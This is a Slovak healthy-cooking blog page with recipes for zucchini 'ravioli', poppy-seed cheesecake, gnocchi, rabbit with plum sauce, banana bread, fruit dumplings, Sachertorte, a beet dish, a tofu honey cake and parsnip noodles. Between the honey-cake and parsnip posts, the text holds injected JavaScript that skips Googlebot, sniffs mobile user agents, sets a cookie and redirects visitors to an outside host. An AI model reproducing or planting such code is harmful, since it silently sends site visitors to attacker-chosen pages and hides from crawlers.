FoodLover

prinášame pôžitok zo zdravého jedla

You are here: Home / Blog

Tekvicové “ravioli” so šalviovým maslom

by Leave a Comment

Pred týždňom som oslávila 26. narodeniny. Pre mnohých tento deň neznamená toľko čo pre mňa. Vždy som sa snažila v tento deň si dopriať veci, ktoré mám naozaj veľmi rada. Pre mňa to znamená najmä varenie, môcť si oddýchnuť a ísť si zacvičiť. Cvičenie pre mňa tento rok znamenalo najviac, keďže posledné mesiace som cvičiť tak pravidelne nevládala. Ďalšou mojou milovanou aktivitou je práve tvorenie receptov pre Vás. Veľmi sa teším, že za ten týždeň mám pre Vás nachystané tri nové recepty, samozrejme jesenné :)

Tento recept som vymyslela do školy varenia v Poluse. Práve môj októbrový kurz mal tento receptík a mal taký úspech, že som ho jednoducho musela pridať aj sem. Cukinu na štýl špagiet či halušiek som Vám ukázala už viac krát. No urobiť z nich ravioli ešte nie. A musím povedať, že toto využitie mi príde úplne najlepšie. Naplniť sa dajú čímkoľvek, žiaden špeciálny nástroj k ich príprave nepotrebujete a je to veľmi rýchle. To, že je to zdravšie a ľahšie na žalúdok než bežné cestoviny, rozoberať asi moc nemusím :).

Či ich naplníte sezónne tekvicou alebo cviklou, 4 druhmi syra, bryndzou či mäskom, je to úplne na Vás :). Budem rada, ak sa týmto receptom inšpirujete, a doma vykúzlite niečo ďalšie.

Ingrediencie: (pre 2 osoby)

  • 1 cukina
  • 250g tekvice hokkaido
  • 125g krémového kozieho syra/ricotty alebo pre bezmliečnu verziu 60g kešu*
  • soľ, korenie
  • štipka muškátového oriešku
  • 50g masla/ghee
  • asi 10lístkov čerstvej šalvie
  • olivový olej

Postup:

  1. Cukinu pozdĺžne našúpeme na pláty. Najlepšia je na to škrabka na zemiaky alebo mandolina.
  2. Tekvicu nakrájame na kocky a pečieme v rúre na 180-190°C na cca 25minút (do úplneho zmäknutia). Tekvicu necháme vychladnúť a pomocou vidličky alebo mixéra z nej urobíme pyré. Pridáme syr a dochutíme soľou, korením a muškátovým orieškom.
  3. Dva cukinové pláty preložíme cez seba cez stred (na kríž). Pomocou vrecka alebo dvoch lyžičiek do stredu dáme plnku. Postupne cez plnku preložíme časti cukiny. Otočíme, aby sa plnka zaistila. Takto vznikne “raviola” :).
  4. Postupne použijeme všetky pláty a plnku. Ravioli preložíme do zapekacej misy a pečieme na 180°C 10minút. Cukinu v žiadnom prípade nesolíme, pustila by vodu a to nechceme.
  5. Medzitým si rozohrejeme maslo a pridáme šalviu. Tú opečieme do chrumkava, osolíme a okoreníme. Ravioli vyberieme z rúry a zľahka ich opečieme na masle.
  6. Môžeme podávať :)
  7. * kešu namočíme na noc do vody. Zlejeme zbytok vody a dolejeme čerstvou tak, aby sme pomocou mixéra vymixovali krémový syr – spolu by mal mať cca 125g :)

Ak by ste mali záujem si so mnou prísť “zavariť”, 7. a 28.11. bude ďalšie zážitkové varenie v Miele centra v River Parku. Viac informácií o vareniach nájdeš  na http://foodlover.sk/co-robim/mila-kuchyna/.

Už 7.11. sa môžeš tešiť na kačacie prsia s šalotkovým pyré a pečeným sladkým zemiakom, krémovú gaštanovú tortičku a tekvicovú paštétu s brusnicami :). Budem sa na Vás tešiť.

Tvarohový koláčik s makovou penou

by Leave a Comment

Veľmi sa teším, že aj napriek tomu, že v poslednej dobe nemám na blog toľko času ako by som chcela, Vás stále pribúda..
Veľmi Vám za to ďakujem.
A aby sme to trošku spolu oslávili, pripravila som pre Vás recept na ozaj slovenský dezert. Tento týždeň ma čaká škola varenia, varenie v Miele centre a veeeeľa mandlove koláčikov putuje vo štvrtok do Brna. Tak mi držte palce nech to zvládnem a ja sa pokúsim pre Vás tvoriť receptíky častejšie.

Ingrediencie: (na 2tortičky)

  • 250g tradičného tvarohu (zvyknem kupovať gaderský)
  • 2 vajíčka
  • 30g medu
  • štipka vanilky a citrónovej kôry
    —
  • 50g mletého maku (použila som biely Mak z Jarnej)
  • 75g vody
  • 50g tradičného masla (kupujem v BIOmeat)
  • 30g medu (my máme medík z Adoptuj úľ)
  • štipka škorice
    —
  • hrsť orechov
  • 1 lyžica mletého maku
  • štipka soli
  • 2lyžičky medu

Postup:

  1. Tvaroh s vajíčkami a medom rozmixujeme na hladký krém. Vylejeme do 2 zapekacích misiek a pečieme 25minút na 150°C. 
  2. Medzitým si uvaríme mak vo vode na hustý “puding”. Maslo vymiešame s medom a pridáme vychladnutý makový krém.
  3. Necháme zatuhnúť a vychladiť.
  4. Orechy nasekáme a zmiešame s medom, makom a soľou.
  5. Tortičky necháme vychladnúť a môžeme podávať.


Prajem Vám krásne slnečný jesenný týždeň.

Zemiakové gnocchi s petržlenovým pestom a kešu parmezánom

by Leave a Comment

Taliansku kuchyňu milujem. Jedlá z tejto kuchyne vždy patrili medzi moje najobľúbenejšie. Väčšinou sa snažím použiť namiesto cestovín či gnocchov zeleninu, ale tak občas siahnem aj po klasike :).
Bazalkové pesto asi všetci poznáme. Keďže už tu máme jeseň, a s dostupnosťou byliniek to už nebude také jednoduché, siahla som po petržlenovej vňati. Tú je možné dostať asi vždy :).
A ak si chcete pripraviť ešte čosi nezvyčajné, skúste si namiesto normálneho parmezánu pripraviť “syr” z kešu :).
Tento recept sme si pripravovali aj v škole varenia v Poluse, kde sme toto jedlo doplnili o morského vlka. Ďalší kurz sa bude konať už 18.10.2017 :) Tak ak máte chuť sa pridať a pripraviť si s nami tekvicové recepty, prihláste sa tu.
Prajem Vám dobrú chuť :)
Ingrediencie a postup:
  • 400g varených zemiakov
  • 200g hladkej špaldovej alebo pohánkovej múky
  • 1 vajíčko
Zemiaky popučíme vidličkou alebo pomocou food processora, pridáme vajíčko a múku. Spracujeme na hladké cesto. Z cesta tvarujeme gnocchi a varíme vo vode cca 5minut.
  • zväzok petržlenovej vňate
  • 1/2 strúčiku cesnaku
  • 1dcl olivového oleja soľ a korenie podľa chuti
Pomocou mlynčeka rozmixujeme ingrediencie na pesto. Dochutíme.
  • 50g kešu
  • 1/4 lyž sušeného cesnaku
  • 1/2 lyž soli
  • 1 lyžica lahôdkového droždia
  • a ak chcete slaninku, tak aj tú :)
Kešu pomelieme opäť v nerezovej miske a dochutíme.
Uvarené gnocchi premiešame s pestom a posypeme “parmezánom”. Kešu parmezán je skvelá bezlaktózová verzia klasického talianskeho syra
Tento receptík som pripravila v spolupráci so značkou Catler.

Králik, hokkaido a slivková omáčka

by Leave a Comment

Niekedy máme toľko pečenia v mandlove, že zabúdam ako veľmi milujem variť. Väčšinu času si človek pripraví rýchle raňajky, obed aj večeru alebo sa jednoducho napapá niekde vonku. Keď sa však čas nájde rada si vymyslím čosi zaujímavé, niečo ako toto :).

Tento recept sa mi tak zapáčil, že sme ho pripravovali aj na prvom varení v Miele centre. Bolo to prvé varenie z mnohých, ktoré máme na tento rok naplánované a môžete sa pozrieť ako to tam vyzeralo :).

Aj vďaka tomuto projektíku budem opäť variť pravidelne aj pre Vás. Keď som začala podnikať, vedela som že to bude náročné a bude musieť prejsť nejaký ten čas, kým sa budem môcť opäť naplno venovať blogu, škole varenia a takýmto zážitkovým vareniam.  Dúfam, že ten čas už prichádza a takýchto varení bude stále viac a viac.

pečené papriky, bryndový krém a cesnak

Veľmi sa teším, že sa s Vami môžem o tento recept podeliť, a dúfam, že si ho doma skúsite pripraviť :) Je to perfektná kombinácia jesenných chutí s troškou doznievajúceho leta :)

Ingrediencie (asi 3 porcie):

mäsko:

  • 500g králičích chrbtov (ako panenka bez kosti)
  • asi 15 plátkov slaniny (odporúčam mangalicovú z Village Farm)
  • 1 hlavička cesnaku
  • pár vetvičiek rozmarínu
  • čierne korenie
  • 2dcl vody alebo vývaru

tekvica:

  • 1 menšie hokkaido
  • soľ, korenie
  • pár strúčikov cesnaku
  • vetvička rozmarínu
  • olivový olej

slivková omáčka:

  • 500g sliviek
  • šťava z 1 citrónu
  • 2-3lyžičiek javorového sirupu alebo medu (množstvo kľudne prispôsobte Vašej chuti)

a bobule, bylinky na ozdobu :)

Postup:

  1. Chrbátiky prerežeme napoly, uložíme vedľa seba a obalíme slaninkou.
  2. Takto pripravené mäsko dáme do zapekacej misky, pridáme rozkrojené cesnaky, rozmarín, okoreníme a zalejeme vývarom. Alobalom “uzatvoríme zapekaciu misu a dáme do rúry na 90minút piecť na 180°C.
  3. Hokkaido nakrájame na plátky, poukladáme na plech, pokropíme olejom, osolíme a okoreníme, pridáme cesnak a rozmarín. Pečieme na 190°C 20-25minút.
  4. Slivky odkôstkujeme, nakrájame na menšie kúsky a dáme do hrnca. Na slabom plameni podusíme, pridáme citrón a javorový sirup. Dusíme do úplného zmäknutia. Preložíme do mixéra a rozmixujeme na omáčku. Dochutíme.
  5. Po pripravení všetkých komponentov naservírujeme pripravené jedlo na tanier :). Prajem Vám dobrú chuť.

 

Onedlho Vám dám vedieť ďalšie termíny varení a dúfam, že sa pridáte aj Vy :)! Môžem Vám sľúbiť, že to naozaj bude zážitok.

dezert nechýbal :)

 

 

Banánový chlebík (bananabread)

by Leave a Comment

Tak pre toto mám neskutočnú slabosť. Neviem prečo, ale čo sa týka koláčov ku káve či čaju, ma jednoducho viac bavia tie “cestové”, nie krémové :). A práve bananabread je pre mňa jeden z top takýchto koláčov. Je to taká “americká” klasika. Doteraz si pamätám ako som si ho v Bostone sem tam dopriala k mandľovému latté. V Bratislave nie je až tak populárny, avšak v Berlíne, kde som bola minulý týždeň, ho mali takmer všade :). Práve to ma motivovalo si ho spraviť aj doma. Väčšinou po pečení mojich mandlove toriet sa mi doma piecť už nechce, ale toto je láska :).

Tento receptík, teda o čosi iný som našla na stránke FOOD. Pomenila som niektoré ingrediencie a množstvá, a vznikol môj dokonalý recept na banánový chlebík. Či už si ho doprajete čistý, tak chutí najviac mne, alebo si naň dáte orieškovú nátierku a ovocie :). Nebudete ľutovať.

Ingrediencie:

  • 125g masla alebo ghee
  • 60g kokosového cukru (alebo iného cukru)
  • 2 vajíčka
  • 3 banány (asi 300g)
  • 200g hladkej špaldovej múky
  • 1lyžička jedlej sódy
  • štipka soli a vanilky

Postup:

  1. Maslo vymiešame s cukrom do hladkého krému.
  2. Pridáme rozpučený banán a vajíčka. Poriadne premiešame.
  3. V miske spojíme všetky suché ingrediencie. Pridáme ich k mokrým a poriadne premiešame.
  4. Zmes preložíme do chlebíkovej formy (10x20cm) vystlanej papierom na pečenie a pečieme 50minút na 160°C.
  5. Chlebík vyberieme z rúry a necháme vychladnúť na mriežke.
  6. Dobrú chuť :)

Ovocné knedlíky (pohánkové)

by Leave a Comment

Ovocné knedle boli jedno z mojich obľúbených jedál, keď som bola malá :). Ešte o čosi viac som mala rada pirohy.. so sladkou smaženou strúhankou. Doteraz si pamätám na tú chuť O:-).

Tento rok ma napadlo vyskúšať použiť pohánkovú múku do cesta, aby boli knedlíky bezlepkové. Ako ste si isto všimli, prevažne sa stravujem takto. Múka v recepte zafungovala a podarilo sa :). Či už dáte dnu slivku alebo marhuľu, tomuto sladkému jedlu sa dá ťažko odolať. Teraz mi najviac chutia s makom, doplnené o trocha javorového sirupu O:-). Čo si budeme hovoriť, ja jednoducho milujem sladké. Ale tak zase, kto nie? :)

Ingrediencie: (na 15knedlí – 4-5 porcií)

  • 300g zemiakov
  • 150g hladkej pohánkovej múky
  • 1 vajíčko
  • Štipka soli
  • 15 menších marhúľ
  • 250g maku
  • 50-100g kokosového cukru (samozrejme sa dá použiť aj biely či trstinový)
  • Maslo alebo javorový sirup
  • Bobule a bylinky na podávanie

Postup:

  1. Zemiaky uvaríme v šupke do mäkka. Ošúpeme ich a rozmačkáme vidličkou na kašu. Pridáme vajíčko a múku a spracujeme na cesto.
  2. Cesto rozdelíme na asi 15 rovnakých kúskov a zabalíme doň marhuľu. Každý knedlík obalíme ešte v múke, aby sa nelepil.
  3. Pomocou smoothie mixéra a nerezovej nádobky si pomelieme mak, poprípade aj kokosový či trstinový cukor na práškový. Mak premiešame s cukrom, poprípade dochutíme škoricou a štipkou soli.
  4. Knedlíky varíme vo vriacej vode približne 7minút. Ešte horúce obalíme v maku
  5. Ozdobíme ovocím, bylinkami a prelejeme roztopeným maslom či javorovým sirupom.

Moja sacherka

by Leave a Comment

Už je to naozaj dlhý čas, odkedy som naposledy pridala recept. Ale o to je myslím, špeciálnejší. Kedysi bol tento blog prepĺňaný sladkými receptami, avšak odkedy vznilko mandlove, takmer každý nový sladký recept skončí ako torta do kaviarne :). Na jednu stranu ma to mrzí, ale druhú mi robí radosť to, že môžete moje nápady ochutnávať na obľúbenom mieste.

Tento recept je však trochu iný tým, že to vlastne nie až tak môj recept. Sacherova torta bola vymyslená už veľmi dávno a receptov naň je naozaj mnoho. Tento je však iný tým, že sú v ňom neni použité obilniny, ani mliečne výrobky. Tak ako je na tomto blogu zvykom :).

Ingrediencie:

  • 6 vajec
  • 200g kvalitnej horkej čokolády
  • 100-150g kokosového cukru alebo iného nerafinovaného sladidla (med a pod.)
  • 200ml kokosového mlieka alebo smotany (ak Vám nevadia mliečne výrobky, tak kľudne aj živočíšnej) – min. množstvo tuku 18%
  • 50-70g kokosovej múky alebo cca 150g mletých mandlí
  • 10g sódy bikarbóny
  • 1 pohár marhulového džemu (najlepšie domáceho :) )
  • 100g kvalitnej čokolády + 100g kokosového mlieka/smotany a štipka soli

Postup:

  1. Čokoládu si roztopíme nad vodným kúpeľom. Pridáme do nej cukor a keď sa roztopí, prišľaháme kokosové mlieko.
  2. Postupne prišľahávame vajíčka po jednom.
  3. Kokosovú múku premiešame so sódou a pridáme do čokoládovej zmesi.
  4. Poriadne prešľaháme. Chvíľu počkáme, kým múka zahustí cesto.
  5. Cesto vylejeme do vystlanej formy (priemer približne 23cm) a pečieme 30min na 180°C.
  6. Cesto pozdĺž prerežeme nožom napoly a ešte teplý potrieme marhulovým džemom (oba “vrchy” a aj strany). Takto tortu poskladáme a necháme vychladnúť.
  7. Čokoládovú polevu si pripravíme tak, že kokosové mlieko alebo smotanu prevaríme a zalejeme ňou čokoládu. Vymiešame na hladkú polevu a prelejeme ňou tortu.
  8. Dozdobíme podľa fantázie :).

 

 

Láska na tanieri

by Leave a Comment

Nevedela som, ako inak nazvať toto papanie.. Bolo totiž vytvorené k blížiacemu sa Dňu sv. Valentína a keď sa naň pozriem, vidím na tanieri lásku. Lásku k jedlu, sezónnym ingredienciám, lásku k vareniu. Zimnými ingredienciami sú najmä koreňové zeleniny a citrusy (i keď tie u nás nerastú). Celý tanier sa nesie v červených farbách, aby mal čo “najbližsie” k láske :).

Cviklový šalát s pomelom a granátovým jablkom a mäsko, ktoré sa marinovalo v nastrúhanej cvikli. Mäsko je po ugrilovaní glazované v omáčke typu demiglace (ktorá tiež bola doplnená o cviklu).

Možno to celé znie trošku komplikovane, ale je to úplne jednoduché papanie.

Ingrediencie: (pre 2 osoby)

  • 500g cvikle
  • 300g kuracích stehien/pŕs
  • 1/2 pomela
  • 2 hrste semiačok granátového jablka
  • na omáčku: 3dcl silného vývaru + 1 cibuľa + kúsok cvikle + kúsok masla
  • čerstvé bylinky – petržlenová vňať alebo mäta
  • soľ a korenie podľa chuti
  • olivový olej, balsamico, citrónová šťava
  • plátky ovčieho syra – nemusí byť

Postup:

  1. Ako prvé si očistíme mäsko a nakrájame na malé medajlónky. Nastrúhame si 1 malú cviklu a pridáme k nej mäsko, ktoré v nej poriadne pomasírujeme.  Chceme aby mäsko chytilo jej ružovú farbu.
  2. Zvyšok cvikle umyjeme, nakrájame na polky a dáme variť. Mne osobne sa lepšie cvikla šúpe až po uvarení. Cviklu varíme cca 30minút, do mierneho zmäknutia.
  3. Medzitým si očistíme pomelo a granátové jablko. Uvarenú cviklu ošúpeme a nakrájame na mesiačiky – kúsok cvikle odložíme nabok. Tie osolíme, okoreníme a dáme marinovať do oleja s balsamicom (v pomere 2:1).
  4. Nakrájame si cibuľu na plátky spolu s odloženým kúskom cvikle. Tie na troške oleja smažíme asi 3minútky a podlejeme vývarom. Ten necháme redukovať asi na 1/4 objemu. Precedíme cez sitko a opäť dáme do hrnca. Omáčka by malo mať krásne červenú farbu. Pridáme maslo a ešťe chvíľu redukujeme, kým nám nevznikne hustá sirupová glazúra. Mäsko sprudka opekáme asi 2minútky z každej strany. Opečené mäsko dáme do omáčky a poriadne ho v nej obalíme.
  5. Na taniere poukladáme kúsky cvikle, pomela a granátové jablko. Šalát dochutíme olejom a troškou citrónovej šťavy. Poukladáme naň kúsky oglazovaného mäska a doplníme o nasekané bylinky.
  6. Prajem Vám dobrú chuť a krásneho Valentína. A ak tento deň neuznávate, budem rada ak si takéto papanie jednoducho pripravíte na spríjemnenie dňa :).

Print
Láska na tanieri

Láska na tanieri

Ingredients

  • 500g cvikle
  • 300g kuracích stehien/pŕs
  • 1/2 pomela
  • 2 hrste semiačok granátového jablka
  • na omáčku: 3dcl silného vývaru + 1 cibuľa + kúsok cvikle + kúsok masla
  • čerstvé bylinky - petržlenová vňať alebo mäta
  • soľ a korenie podľa chuti
  • olivový olej, balsamico, citrónová šťava
  • plátky ovčieho syra - nemusí byť

Instructions

  1. Ako prvé si očistíme mäsko a nakrájame na malé medajlónky. Nastrúhame si 1 malú cviklu a pridáme k nej mäsko, ktoré v nej poriadne pomasírujeme. Chceme aby mäsko chytilo jej ružovú farbu.
  2. Zvyšok cvikle umyjeme, nakrájame na polky a dáme variť. Mne osobne sa lepšie cvikla šúpe až po uvarení. Cviklu varíme cca 30minút, do mierneho zmäknutia.
  3. Medzitým si očistíme pomelo a granátové jablko. Uvarenú cviklu ošúpeme a nakrájame na mesiačiky - kúsok cvikle odložíme nabok. Tie osolíme, okoreníme a dáme marinovať do oleja s balsamicom (v pomere 2:1).
  4. Nakrájame si cibuľu na plátky spolu s odloženým kúskom cvikle. Tie na troške oleja smažíme asi 3minútky a podlejeme vývarom. Ten necháme redukovať asi na 1/4 objemu. Precedíme cez sitko a opäť dáme do hrnca. Omáčka by malo mať krásne červenú farbu. Pridáme maslo a ešťe chvíľu redukujeme, kým nám nevznikne hustá sirupová glazúra. Mäsko sprudka opekáme asi 2minútky z každej strany. Opečené mäsko dáme do omáčky a poriadne ho v nej obalíme.
  5. Na taniere poukladáme kúsky cvikle, pomela a granátové jablko. Šalát dochutíme olejom a troškou citrónovej šťavy. Poukladáme naň kúsky oglazovaného mäska a doplníme o nasekané bylinky.
  6. Prajem Vám dobrú chuť a krásneho Valentína. A ak tento deň neuznávate, budem rada ak si takéto papanie jednoducho pripravíte na spríjemnenie dňa :).

A takto môže vyzerať aj Váš valentínsky dezert :)

Medový krémeš

by Leave a Comment

Keď som bola malá, mojím najobľúbenejším koláčom bola práve medový krémeš od mojej babky. Na každý môj sviatok som si pýtala práve ten.. A to aj napriek tomu, že ani môj brat ani môj ujo ho moc nemuseli :(. A to bol jeden z dôvodov, prečo ho babka po čase prestala robievať.. Samozrejme to bolo spôsobené aj tým, že ja som sladké v istom veku začala odmietať.. Ak by som si však mohla vybrať tradičný koláč, ktorý milujem najviac, bol by to práve on <3.

Domáce medové pláty a ten ľahký krém z vanilkového pudingu a tradičného masla. No jednoducho pre mňa to bola čistá láska. Už dlhšiu dobu som premýšľala nad tým, ako by sa dal spraviť krémeš z “alternatívnych” surovín. Čo sa týka cesta, napadli ma dve varianty. Klasické nepečené pláty z datlí a orechov alebo piškót z mandlí a kokosového cukru. Tentokrát som siahla po tých nepečených a krém som vytvorila z bieleho tofu, medu, kokosového mlieka a oleja. Dostala som totiž výzvu vytvoriť dezert z tofu Lunter a toto ma napadlo. Poviem Vám, že na moje prekvapenie ozaj chutil.. A to aj skupine ľudí z kaviarní, kam dodávam moje mandlove torty. Ja som bola ozaj voči tomu skeptická, ale tento dezert nie len že chutí, ale naozaj medový krémeš pripomína :).. Tak ak ste milovníkmi krémešu aj vy, určite ho vyskúšajte :).

*nabudúce ešte skúsim vytvoriť tú druhú veriu, a uvidíme čo to bude :)

Ingrediencie: (na formu cca 20x20cm)

Medové pláty:

  • 200g kešu (mleté)
  • 200g vlašských orechov (mleté)
  • 200g čerstvých datlí alebo 120g sušených, namočených na noc
  • Asi 1lyžica kokosovej múky
  • Štipka soli

Plnka:

  • 360g tofu natural
  • 100g kokosového mlieka alebo iného rastlinného mlieka
  • 3lyžice kokosového oleja
  • 70g medu alebo javorového sirupu
  • Štipka vanilky

Postup:

  1. Spodok si jednoducho pripravíme tak, že mixujeme všetky ingrediencie v robote, kým nevznikne husté a pevné cesto. Pridáme trošku kokosovej múky, aby sa cesto nelepilo. Rozdelíme ho na dve časti a vyválkame na pláty veľkosti formy – najlepšie sa to robí medzi dvoma papiermi na pečenie.
  2. Plnku jednoducho pripravíme tak, že všetky ingrediencie rozmixujeme na hladký krém. Dochutíme podľa potreby.
  3. Formu vystelieme papierom na pečenie, dame prvý plát, navrstvíme krém a položíme naň druhý.
  4. Dáme chladiť do mrazničky na 2hodinky, aby plnka stuhla.
  5. Vyberieme z mrazničky a nakrájame na male kocky. Poprípade posypeme kokosovou múkou pre pocit a vizuálny dojem cukru :)
  6. Môžeme podávať. Prajem dobrú chuť.

Print
Medový krémeš

Medový krémeš

Ingredients

    Medové pláty:
  • 200g kešu (mleté)
  • 200g vlašských orechov (mleté)
  • 200g čerstvých datlí alebo 120g sušených, namočených na noc
  • Asi 1lyžica kokosovej múky
  • Štipka soli
    Plnka:
  • 360g tofu natural
  • 100g kokosového mlieka alebo iného rastlinného mlieka
  • 3lyžice kokosového oleja
  • 70g medu alebo javorového sirupu
  • Štipka vanilky

Instructions

  1. Spodok si jednoducho pripravíme tak, že mixujeme všetky ingrediencie v robote, kým nevznikne husté a pevné cesto. Pridáme trošku kokosovej múky, aby sa cesto nelepilo. Rozdelíme ho na dve časti a vyválkame na pláty veľkosti formy – najlepšie sa to robí medzi dvoma papiermi na pečenie.
  2. Plnku jednoducho pripravíme tak, že všetky ingrediencie rozmixujeme na hladký krém. Dochutíme podľa potreby.
  3. Formu vystelieme papierom na pečenie, dame prvý plát, navrstvíme krém a položíme naň druhý.
  4. Dáme chladiť do mrazničky na 2hodinky, aby plnka stuhla.
  5. Vyberieme z mrazničky a nakrájame na male kocky. Poprípade posypeme kokosovou múkou pre pocit a vizuálny dojem cukru :)
  6. Môžeme podávať. Prajem dobrú chuť.
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Pasta, paštrnák a petržlen

by Leave a Comment

Zaľúbila som sa do paštrnáku.. A to bezhranične.

A ako sa to stalo? Takto :). V sobotu vo Fresh markete som mala v pláne pripravovať krém z paštrnáku a jabĺk. Keďže som paštrnák nikde nevedela zohnať, pripravovala som krém z petržlenu. Však vyzerá podobne, hovorila som si.. Polievočka mala úspech, a tak mi paštrnák zišiel z mysle.

Tento utorok som ale bola robiť môj prvý “privátny” kurz varenia a jednou z vecí na menu bol krém z koreňovej zeleniny. A čo sa nestalo, namiesto petržlenu sa kúpil paštrnák :).

IMG_4142

A tak sme si na kurze pripravili paštrnákový krém. Keď som ucítila tú sladkú vôňu pri jeho pečení, vedela som, že toto bude čosi výnimočné.. A to naozaj bolo. Pre mňa to bola láska na prvé sústo, a normálne nerozumiem tomu, ako je možné, že som s ním nikdy pred tým nepracovala. Tak ma tento koreň očaril, že som si ho okamžite šla kúpiť. Našla som, že sa perfektne páruje s hríbami, a tak prvé jedlo boli rezančeky s hubovým ragú. Napodiv bol paštrnák v role cestovín úžasný, a tak mi nedalo sa o toto poznanie s vami nepodeliť. Nechcelo sa mi však robiť dva krát to isté, a tak som si dnes na obed pripravila toto :).

Bylinkové pesto je jedna z top vecí, ktorú si na cestoviny môžete dať. Keďže bazalku v tomto období asi ťažko niekde nájdeme, siahla som po petržlenovej vňati. Rozmixovala ju s olivovým olejom, kúskom cesnaku a pomletými píniovými orieškami. Papanie som doplnila o kurací steak a grilované portobello šampióny. Jednoduché, rýchle, sezónne a zdravé jedlo za pár minút. Čo viac  si môžeme priať :).

IMG_4145

Ingrediencie: (pre 2 osoby)

  • 400g paštrnáku
  • 1 zväzok petržlenovej vňate
  • 1/2 strúčiku cesnaku
  • 4 lyžice olivového oleja
  • soľ a korenie podľa chuti
  • 30g píniových alebo iných orieškov
  • 1 kuracie prsia
  • 2 veľké šampióny
  • olivový olej na opekanie
  • bylinky na dekoráciu

Postup:

  1. Paštrnák si očistíme na nakrájame na jemné rezančeky.
  2. Petržlenovú vňať, olej, cesnak, soľ a korenie rozmixujeme na pastu. Pridáme do nej pomleté oriešky a premiešame.
  3. Rezančeky varíme v osolenej vode asi 4minútky. POZOR, paštrnák rýchlo zmäkne (narozdiel od petržlenu).
  4. Kuracie prsia umyjeme, očistíme a narežeme na podobne veľké medailónky. Hríby očistíme a nakrájame na polky – štvrtiny. Mäsko a hríby opekáme na olivovom oleji grilovacej panvici 2-3minútky z každej strany. Až po dopečení osolíme a okoreníme.
  5. Uvarené rezančeky premiešame s pestom a naservírujeme na tanier. Doplníme o mäsko a hríby a podávame :).
  6. Prajem dobrú chuť.

 

Print
Paštrnákové rezančeky s petržlenovým pestom

Paštrnákové rezančeky s petržlenovým pestom

Ingredients

  • 400g paštrnáku
  • 1 zväzok petržlenovej vňate
  • 1/2 strúčiku cesnaku
  • 4 lyžice olivového oleja
  • soľ a korenie podľa chuti
  • 30g píniových alebo iných orieškov
  • 1 kuracie prsia
  • 2 veľké šampióny
  • olivový olej na opekanie
  • bylinky na dekoráciu

Instructions

  1. Paštrnák si očistíme na nakrájame na jemné rezančeky.
  2. Petržlenovú vňať, olej, cesnak, soľ a korenie rozmixujeme na pastu. Pridáme do nej pomleté oriešky a premiešame.
  3. Rezančeky varíme v osolenej vode asi 4minútky. POZOR, paštrnák rýchlo zmäkne (narozdiel od petržlenu).
  4. Kuracie prsia umyjeme, očistíme a narežeme na podobne veľké medailónky. Hríby očistíme a nakrájame na polky - štvrtiny. Mäsko a hríby opekáme na olivovom oleji grilovacej panvici 2-3minútky z každej strany. Až po dopečení osolíme a okoreníme.
  5. Uvarené rezančeky premiešame s pestom a naservírujeme na tanier. Doplníme o mäsko a hríby a podávame :).
  6. Prajem dobrú chuť.

Petržlenový krém s jablkami

by Leave a Comment

